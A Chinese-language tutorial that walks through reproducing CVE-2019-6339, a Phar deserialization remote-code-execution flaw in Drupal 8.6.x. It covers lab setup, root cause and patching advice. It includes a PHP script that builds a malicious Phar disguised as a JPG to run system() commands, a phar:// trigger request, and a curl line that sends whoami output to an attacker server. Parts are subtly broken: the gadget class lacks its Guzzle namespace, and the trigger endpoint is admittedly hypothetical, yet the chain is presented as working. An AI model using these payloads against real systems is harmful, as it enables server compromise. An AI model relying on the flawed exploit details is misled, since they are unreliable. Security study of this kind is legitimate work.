CVE-2019-6339漏洞复现:Drupal中Phar反序列化攻击原理与实战
1. 项目概述:一次从环境到利用的完整漏洞复现之旅
搞安全研究或者做渗透测试的朋友,对CVE编号肯定不会陌生。今天要聊的这个CVE-2019-6339,是一个发生在Drupal内容管理系统中的Phar反序列化漏洞。乍一听,又是Drupal,又是Phar,还牵扯到反序列化,感觉挺复杂。但说实话,这个漏洞的成因和利用链条非常经典,是学习Web应用安全,特别是理解PHP反序列化攻击和Phar协议利用的绝佳案例。我之所以花时间把它从环境搭建到漏洞深度利用完整走一遍,就是因为它在实战中暴露出的问题——开发者对用户可控文件路径的信任,以及PHP某些特性被组合利用后产生的巨大破坏力——至今仍有很强的警示意义。
简单来说,这个漏洞允许攻击者通过上传一个特制的Phar文件(比如伪装成图片),并诱使Drupal以特定方式处理该文件的路径,从而触发Phar反序列化,最终在服务器上执行任意代码。整个过程不依赖复杂的权限提升,核心在于对“文件路径”这一看似无害的参数的巧妙操控。对于安全从业者而言,复现它不仅能掌握一个历史高危漏洞的利用技巧,更能深入理解反序列化漏洞的另一种入口——文件协议触发,这与我们常见的通过unserialize()函数直接触发有着不同的前置条件和利用场景。
接下来,我会带你从零开始,构建一个包含漏洞的Drupal环境,一步步拆解漏洞原理,并最终完成漏洞的利用。无论你是想丰富自己的漏洞复现经验,还是希望深入理解Phar反序列化的机制,这篇文章都会提供详实的操作步骤和背后的思考逻辑。我们不仅追求“能复现”,更要弄明白“为什么能复现”以及“在复现过程中可能会遇到哪些坑”。
2. 环境构建:精准还原漏洞现场
复现任何漏洞的第一步,也是最重要的一步,就是搭建一个与漏洞存在时尽可能一致的环境。对于CVE-2019-6339,我们需要一个特定版本的Drupal核心,并且PHP环境需要开启必要的配置。盲目使用最新版或者随意配置环境,很可能导致漏洞无法触发,白白浪费时间。
2.1 核心组件版本锁定
这个漏洞影响的是Drupal 8.6.x系列版本,确切地说,在8.6.6版本中被修复。因此,我们的目标就是搭建一个低于此版本的Drupal 8.6环境。经过测试,Drupal 8.6.0到8.6.5版本均受影响。我这里选择Drupal 8.6.5作为复现目标。
注意:版本号差一位,代码可能天差地别。务必使用准确的漏洞版本,直接从Drupal官网的发布存档页面下载对应版本的压缩包,这是最可靠的方式。
除了Drupal版本,PHP的配置也至关重要。漏洞利用依赖Phar反序列化,这要求PHP的phar扩展必须启用(默认通常是开启的)。此外,为了后续利用链的畅通,我们通常需要一个存在魔法方法(如__destruct,__wakeup)的类,这些类可能存在于Drupal核心或第三方模块中。在漏洞公开初期,研究者们发现了Drupal核心的GuzzleHttp\Psr7\FnStream类可以被利用。因此,我们的环境需要包含相应的Composer依赖。最省事的办法是直接使用漏洞版本的Drupal完整包,它自带了vendor目录。
2.2 本地化环境搭建实操
我习惯在Linux环境下进行这类测试,使用Docker能快速构建一个干净、可重复的环境。但为了更贴近传统部署场景,这里我会先用PHP内置服务器在本地搭建。
首先,下载Drupal 8.6.5核心包并解压。
wget https://ftp.drupal.org/files/projects/drupal-8.6.5.tar.gz tar -xzvf drupal-8.6.5.tar.gz cd drupal-8.6.5接着,启动PHP内置Web服务器。我们需要指定一个端口,并允许从本地网络访问。
php -S 0.0.0.0:8888现在,访问http://你的机器IP:8888就能看到Drupal的安装界面了。但先别急,我们缺一个数据库。
使用Docker快速启动一个MySQL实例:
docker run --name drupal-mysql -e MYSQL_ROOT_PASSWORD=rootpass -e MYSQL_DATABASE=drupal -e MYSQL_USER=drupal -e MYSQL_PASSWORD=drupalpass -p 3306:3306 -d mysql:5.7然后,回到浏览器安装页面,选择“Standard”安装,在数据库配置环节填入对应信息:
- 数据库类型:MySQL
- 数据库名:drupal
- 用户名:drupal
- 密码:drupalpass
- 主机:
你的机器IP(如果Docker运行在同一台机器,通常是172.17.0.1或localhost,需要根据Docker网络模式调整)
安装过程中,可能会提示“信任主机名”错误,这是因为Drupal 8.6对主机名有安全校验。我们需要修改站点配置文件。安装完成后,在sites/default目录下找到settings.php文件,定位到$settings['trusted_host_patterns']设置,暂时将其注释掉或添加我们的服务器IP模式,例如:
$settings['trusted_host_patterns'] = [ '^localhost$', '^127\.0\.0\.1$', '^你的机器IP$', ];完成这些步骤后,一个基础的、存在漏洞的Drupal 8.6.5环境就运行起来了。这个环境已经包含了后续利用所需的guzzlehttp/guzzle库(其中包含FnStream类)。
2.3 环境验证与必要配置检查
搭建好环境后,不要急于进行漏洞利用,先做几个关键检查点:
- PHP Phar扩展:在Drupal站点的“状态报告”页面(
/admin/reports/status),查看PHP扩展列表,确认phar已启用。也可以在命令行执行php -m | grep phar验证。 - 文件上传功能:漏洞触发点通常与文件处理相关。确保Drupal的“媒体”或“文件”模块已启用,并且允许上传至少一种文件类型(如“图片”)。进入
/admin/config/media/file-system检查文件系统设置。 - 临时目录权限:文件上传和Phar解析需要读写临时目录。确保PHP配置(
php.ini)中的upload_tmp_dir或系统临时目录(/tmp)对Web服务器进程(如www-data用户)可写。
实操心得:很多复现失败卡在第一步,就是因为环境版本不对。务必使用
composer show或检查vendor/composer/installed.json文件来确认guzzlehttp/guzzle的具体版本。对于Drupal 8.6.5,对应的Guzzle版本应在^6.0系列。如果版本不对,后续的POP链构造可能会失败。
3. 漏洞原理深度剖析:从文件上传到代码执行
环境就绪后,我们深入漏洞的核心。CVE-2019-6339的本质是一个“不安全的反序列化”问题,但它的触发路径比较特殊,不是直接接收序列化字符串,而是通过Phar协议。
3.1 漏洞触发点定位
漏洞的根源在于Drupal处理某些文件路径时,没有对路径中可能包含的协议包装器(Wrapper)进行过滤或安全处理。具体来说,在Drupal 8.6.x的某些场景下(例如,在处理来自外部源的图片样式派生图时),用户能够控制一个文件URI(统一资源标识符)的路径部分。如果攻击者能够使这个路径指向一个服务器上已存在的Phar文件(例如,通过文件上传功能上传一个后缀为.phar或伪装成图片的Phar文件),并且该路径被以phar://协议的方式解析,那么当PHP尝试访问phar://[路径]时,就会自动反序列化Phar文件元数据(metadata)中存储的数据。
关键代码位于core/lib/Drupal/Core/Image/Image.php及相关文件处理逻辑中。当Drupal根据一个图片样式(Image Style)生成衍生图时,会构造一个目标URI。在某些条件下,如果源图片的URI包含了用户可控的部分,并且系统在生成缓存或处理时,直接将该URI用于文件操作,就可能触发phar协议解析。
3.2 Phar反序列化机制详解
为什么phar://协议能触发反序列化?这是PHP Phar扩展的一个内置特性。Phar(PHP Archive)文件是一种将PHP代码和资源打包在一起的格式,类似于JAR。它的结构包含一个存根(stub)、一个描述打包文件清单的清单(manifest),以及可选的元数据(metadata)。
元数据(metadata)可以是一个PHP变量,在创建Phar文件时,通过Phar::setMetadata()方法存入。这个变量在Phar文件被phar://协议流包装器访问时,会被自动反序列化。注意,是“访问”即触发,不一定需要include或require。只要像file_get_contents('phar:///path/to/exploit.phar')、file_exists()、is_file()等文件系统函数以phar://协议去操作这个文件,元数据反序列化过程就会发生。
这就为反序列化攻击打开了一扇新的大门:攻击者只需要想方设法上传一个包含恶意序列化数据的Phar文件到服务器,并让应用程序以phar://协议的方式去“触碰”这个文件的路径,就能触发反序列化,执行元数据中对象对应的类魔法方法。
3.3 利用链(POP Chain)构造
触发反序列化只是第一步,要达成代码执行,还需要一条有效的利用链,即一系列具有“魔法方法”的类,它们的方法能被串联调用,最终导向危险函数(如system()、eval())。在CVE-2019-6339的利用中,早期利用的是Drupal依赖的Guzzle库中的FnStream类。
GuzzleHttp\Psr7\FnStream类有一个__destruct()析构方法。当对象被销毁时,如果该对象的close属性是一个可调用的函数(如is_callable($this->close)为真),那么就会尝试执行call_user_func($this->close)。如果我们能控制$this->close的值,将其设置为类似system的函数名,并控制其参数,就能执行系统命令。
那么,如何将我们可控的序列化数据“注入”到这个类的对象中呢?我们需要构造一个特殊的Phar文件:
- 创建一个
FnStream对象,将其close属性设置为我们要执行的函数和参数(例如,[$function, $parameter]形式的数组,用于call_user_func_array)。 - 将这个对象设置为Phar文件的元数据。
- 将Phar文件后缀改为
.jpg等允许上传的格式,并上传到目标服务器。 - 利用Drupal的文件处理漏洞,使服务器代码以
phar://协议访问我们上传的文件路径(如phar:///var/www/html/sites/default/files/poc.jpg)。
当访问发生时,Phar元数据被反序列化,FnStream对象被重建。随后,在PHP请求结束或该对象引用被清除时,__destruct()方法被自动调用,从而执行我们预设的命令。
注意事项:实际的利用链可能更复杂,因为需要找到从反序列化入口点到
FnStream对象属性可控的完整路径。有时需要借助其他类的__wakeup()或__destruct()方法作为跳板,一步步传递和修改属性值,最终控制FnStream的close成员。这需要仔细审计Drupal核心及其依赖的代码库。
4. 漏洞利用实战:手把手打造攻击载荷
理解了原理,我们开始动手制作攻击用的Phar文件,并找到触发点。
4.1 生成恶意Phar文件
首先,我们需要一个独立的PHP脚本来生成Phar文件。这个脚本不能在目标服务器上运行,我们在自己的攻击机上操作。
<?php // generate_phar.php // 防止在网页中直接访问 if (php_sapi_name() !== 'cli') { die('CLI only.'); } // 定义要执行的命令。这里弹出一个计算器作为演示,Linux下可以是`gnome-calculator`或`xcalc`。 // 实际攻击中可替换为任意命令。 $command = 'calc.exe'; // Windows // $command = 'gnome-calculator'; // Linux with GUI // $command = 'touch /tmp/pwned'; // Linux 无回显命令 // 构造利用链对象。 // 我们利用 GuzzleHttp\Psr7\FnStream 的 __destruct 方法。 class FnStream { public $close; public function __construct($cmd) { // 将 close 属性设置为一个可调用结构。 // 这里我们构造一个数组,第一个元素是函数名'system',第二个元素是命令。 $this->close = ['system', $cmd]; } } // 创建对象 $obj = new FnStream($command); // 创建一个新的Phar文件,后缀可以是 .phar,但为了上传,我们之后会重命名为 .jpg $phar = new Phar('exploit.phar'); $phar->startBuffering(); // 设置存根(stub),至少要包含 `__HALT_COMPILER();`,否则Phar扩展不会将其识别为Phar文件。 // 我们可以用一个合法的PHP文件作为存根来伪装。 $stub = "<?php __HALT_COMPILER(); ?>"; // 也可以加入更多伪装内容,例如GIF头,但注意不要破坏Phar结构。 // $stub = "GIF89a<?php __HALT_COMPILER(); ?>"; $phar->setStub($stub); // 将我们构造的对象设置为元数据 $phar->setMetadata($obj); // 必须至少添加一个文件到Phar中,否则会报错。我们添加一个虚拟文件。 $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); echo "[+] Phar file 'exploit.phar' generated.\n"; // 为了方便上传,将其复制为jpg文件 copy('exploit.phar', 'exploit.jpg'); echo "[+] Copied to 'exploit.jpg' for upload.\n"; ?>在命令行运行这个脚本:
php generate_phar.php你会得到两个文件:exploit.phar和exploit.jpg。它们的二进制内容在__HALT_COMPILER()之前是完全一样的。.jpg文件就是我们的攻击载荷。
重要提示:在实际渗透测试中,需要根据目标环境调整命令。对于无回显的命令,可以考虑使用
curl或wget将结果外带,或者写入Web目录下的一个文件。同时,要确保Phar文件的存根(Stub)不会因为包含<?php标签而被目标服务器的安全机制(如WAF)拦截。有时需要使用二进制包装技巧。
4.2 寻找并利用触发点
这是最考验耐心和技巧的一步。我们需要在Drupal中找到一处能够让我们控制文件路径,并且该路径最终会被以phar://协议形式使用的地方。
根据公开的漏洞分析,一个可能的触发点与图片样式(Image Styles)和远程图片有关。Drupal可以将远程图片缓存到本地,然后应用图片样式(如缩略图)。在某些处理逻辑中,缓存文件的URI构造可能存在问题。
简化版的利用思路如下:
- 上传Phar文件:以后台管理员或拥有上传权限的用户身份,将
exploit.jpg上传到Drupal站点。假设上传后的访问路径为/sites/default/files/exploit.jpg,其物理路径为/var/www/html/drupal-8.6.5/sites/default/files/exploit.jpg。 - 构造恶意请求:我们需要找到一个接收“文件路径”作为参数,并且内部处理时会用
phar://包装该路径的端点。根据漏洞细节,这可能涉及对/admin/config/media/image-styles下某些预览或派生功能的滥用,或者通过其他模块(如Media Entity)的特定功能。 - 触发漏洞:向该端点发送请求,参数中指定文件路径为
phar:///var/www/html/drupal-8.6.5/sites/default/files/exploit.jpg。服务器端代码在处理时,会尝试用phar://协议打开这个文件,从而触发元数据反序列化。
由于Drupal 8.6.x的具体触发代码路径可能在后续补丁中被详细分析并修复,且不同配置下可利用的入口点可能不同,这里我提供一个基于历史PoC思想的概念性验证请求:
假设存在一个未经验证的端点/image/styles/derivative(或类似),它接受source参数指定源图片URI。
GET /image/styles/thumbnail/public?file=phar:///var/www/html/drupal-8.6.5/sites/default/files/exploit.jpg HTTP/1.1 Host: target.com当Drupal尝试为这个“图片”生成缩略图时,会解析phar://协议,从而触发漏洞。
实操心得:在实际复现中,你可能需要开启Drupal的
display_errors并查看日志(/admin/reports/dblog)来调试。如果触发了反序列化但利用链不成功,可能会看到“Class FnStream not found”或“unserialize()”出错的提示。这说明Guzzle库的类没有自动加载。你需要确保在触发反序列化的上下文中,类加载器能够找到FnStream类。有时需要利用Drupal自身的类作为跳板,这需要更深入的代码审计。
4.3 利用成功验证
如果漏洞利用成功,你预设的命令将会执行。如何验证呢?
- 如果命令是弹计算器(在带有图形界面的服务器上),你会看到计算器弹出。
- 如果命令是
touch /tmp/pwned,你可以登录服务器检查/tmp/pwned文件是否被创建。 - 更常用的方法是使用带外(OOB)技术,如用
ping命令探测一个你控制的DNS日志服务器,或者用curl/wget访问一个你控制的Web服务器并携带执行结果。
例如,修改生成Phar的脚本中的命令为:
$command = 'curl http://your-attacker-server.com/`whoami`';然后在你的攻击服务器上监听HTTP请求,如果收到访问,并且路径中包含服务器用户名,就证明命令执行成功。
5. 漏洞修复与安全启示
Drupal官方在8.6.6版本中修复了此漏洞。修复的核心思想是:在对用户提供的文件路径进行任何操作之前,对其进行严格的验证和净化,防止协议包装器被注入。
具体的修复补丁通常涉及修改文件处理相关的函数,例如使用Drupal\Component\Utility\UrlHelper::stripDangerousProtocols()或file_valid_uri()等函数来检查URI,确保其不包含危险的协议如phar://、php://、data://等,或者在使用前将其过滤掉。
5.1 给开发者的安全启示
- 永远不要信任用户输入:文件路径、URL、文件名等来自用户的数据,必须视为不可信的。在使用它们进行文件系统操作、包含操作或协议流操作前,必须进行白名单验证。
- 警惕协议包装器:PHP的
phar://、php://、data://、expect://等协议包装器功能强大,但也非常危险。在允许用户控制文件路径的任何场景,都应禁止这些协议。 - 谨慎使用反序列化:尽量避免使用
unserialize()函数处理用户数据。如果必须使用,可以考虑使用更安全的替代方案,如JSON。如果无法避免,必须确保反序列化的类在白名单内,或者使用PHP 7引入的allowed_classes选项进行严格限制。 - 及时更新和修补:使用像Drupal这样的大型开源项目,务必关注其安全公告,并及时应用安全更新。CVE-2019-6339在披露后很快提供了修复版本。
5.2 给安全研究人员的复现建议
- 环境隔离:务必在虚拟机或隔离的Docker容器中进行漏洞复现,避免对宿主机或其他网络造成影响。
- 深入理解原理:不要满足于运行别人的PoC脚本。尝试自己阅读补丁代码,理解漏洞根源;尝试构造不同的利用链,加深对PHP反序列化和Phar格式的理解。
- 多角度尝试:一个漏洞的触发点可能不止一个。在复现时,可以尝试寻找不同于公开文档的触发路径,这能极大锻炼代码审计能力。
- 工具辅助:使用像
phpggc这样的工具可以快速生成针对各种PHP框架的反序列化利用链,但在学习阶段,手动构造更能加深印象。
复现CVE-2019-6339的过程,就像一次完整的安全攻防演练。从环境搭建的琐碎,到原理分析的烧脑,再到利用成功的兴奋,最后到修复方案的思考,每一个环节都能让人收获颇丰。它清晰地展示了,一个看似简单的“文件路径控制”问题,是如何与PHP语言的特性(Phar协议、反序列化)相结合,最终演变成一个远程代码执行的高危漏洞的。这种由点及面、深度挖掘的学习方式,对于提升安全实战能力至关重要。
